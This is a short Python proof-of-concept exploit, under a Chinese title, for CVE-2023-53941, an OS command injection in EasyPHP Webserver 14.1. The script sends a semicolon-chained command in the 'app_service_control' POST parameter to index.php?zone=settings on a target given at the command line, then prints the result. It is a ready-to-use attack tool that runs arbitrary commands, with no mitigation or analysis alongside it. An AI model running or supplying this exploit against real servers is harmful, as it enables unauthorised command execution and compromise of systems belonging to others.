CVE-2023-53941 EasyPHP Webserver 14.1 OS命令注入漏洞

import requests import sys # CVE-2023-53941 PoC - EasyPHP Webserver 14.1 OS Command Injection # Target: EasyPHP Webserver <= 14.1 # Vulnerability: OS Command Injection via app_service_control parameter def exploit(target_url, cmd="whoami"): """ Exploit function for CVE-2023-53941 Args: target_url: Base URL of the vulnerable EasyPHP server cmd: Command to execute on the target system Returns: Response text from the server """ # Construct the vulnerable endpoint exploit_url = f"{target_url}/index.php?zone=settings" # Prepare the malicious payload with command injection # Using semicolon to chain commands payload = f";{cmd}" # POST data with injected command data = { "app_service_control": payload } try: # Send the exploit request response = requests.post(exploit_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2023-53941.py <target_url> [command]") print("Example: python cve-2023-53941.py http://target.com whoami") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "whoami" print(f"[*] Exploiting CVE-2023-53941 on {target}") print(f"[*] Executing command: {command}") result = exploit(target, command) print(f"[+] Response:\n{result}")